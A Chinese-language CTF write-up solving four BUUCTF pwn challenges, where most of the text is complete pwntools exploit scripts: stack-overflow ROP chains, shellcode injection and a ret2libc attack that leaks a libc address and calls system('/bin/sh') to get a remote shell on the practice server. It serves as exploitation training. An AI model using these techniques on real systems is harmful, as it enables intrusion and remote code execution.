buuctf pwn (17~20)
not_the_same_3dsctf_2016
32位elf文件,丢进ida里看一下逻辑
存在gets函数,有栈溢出漏洞
找到这个函数
再checksec一下
那这直接控制程序走向这个函数,但是这个函数,并不会把flag打印出来,所以要用到了write函数。
flag的地址也是知道的
跟进一下就知道了
这个题的I/0又会把数据放在缓冲区里呆着
所以要用到exit函数
小tips:
通过看这个程序的函数发现,这个题是静态编译的
所以有可能是esp寻址,所以要留意一下
from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
p=remote("node4.buuoj.cn",29638)
sys=0x80489A0
exit=0x804E660
flag=0x80ECA2D
write=0x806E270
pay=b'a'*0x2d+p32(sys)+p32(write)+p32(exit)+p32(1)+p32(flag)+p32(45) #不覆盖ebp是因为,这个程序是esp寻址
p.sendline(pay)
p.interactive()
ciscn_2019_n_5
64位elf文件,丢进ida里看一下逻辑
gets函数存在栈溢出,而且没有system函数
看一下保护
那这retlibc或者shellcode都能解了
shellcode脚本如下:
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("node4.buuoj.cn",29873)
shellcode=asm(shellcraft.sh(),arch='amd64',os='linux')
p.recvuntil("tell me your name")
p.sendline(shellcode)
p.recvuntil("What do you want to say to me?")
payload=b'a'*(0x20+8)+p64(0x601080)
p.sendline(payload)
p.interactive()
retlibc脚本如下:
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("node4.buuoj.cn",29873)
elf=ELF("./pwn18")
puts_plt=elf.plt['puts']
read_got=elf.got['read']
main=0x400636
pop=0x0000000000400713 #pop rdi ret
ret=0x00000000004004c9
p.recvuntil("tell me your name")
p.sendline(b'a')
p.recvuntil("What do you want to say to me?\n")
payload=b'a'*(0x20+8)+p64(pop)+p64(read_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
read_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)#进行搜寻
libc_base = read_addr - libc.dump('read')#开始计算地址
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base
p.recvuntil("tell me your name")
p.sendline(b'a')
p.recvuntil("What do you want to say to me?\n")
payload=b'a'*(0x20+8)+p64(pop)+p64(bin_sh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()
都能打通
others_shellcode
32位elf文件
看了一下程序逻辑
意思是只要一nc,就直接执行shellcode,然后getshell了
果然如此
ciscn_2019_ne_5
32位elf文件,丢进ida看一下逻辑
意思就是先输一个:administrator
才能进入下面的逻辑
挨个看了每一个函数的逻辑发现getflag函数存在栈溢出
strcpy在复制的时候,没有限制长度,所以我们只要输入的src够长,就能完成栈溢出
函数存在system函数,再看一眼有没有/bin/sh字符串
没有这个字符串
但是发现了
这个里面有sh,所以跟进并按u展开
地址为:0x80482EA
那这直接构造rop
脚本如下:
from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
p=remote("node4.buuoj.cn",27667)
sys=0x80486B9 #call system
sh=0x080482EA
p.recvuntil("Please input admin password:")
p.sendline(str("administrator"))
p.recvuntil("0.Exit\n:")
p.sendline(b'1')
p.recvuntil("Please input new log info:")
payload=b'a'*(0x48+4)+p32(sys)+p32(sh)
p.sendline(payload)
p.recvuntil("0.Exit\n:")
p.sendline(b'4')
p.interactive()
小tips:如果sys对应的是system函数的plt表地址,那么payload应该为
p32(sys)+p32(main)+p32(sh)
两者有区别的原因在这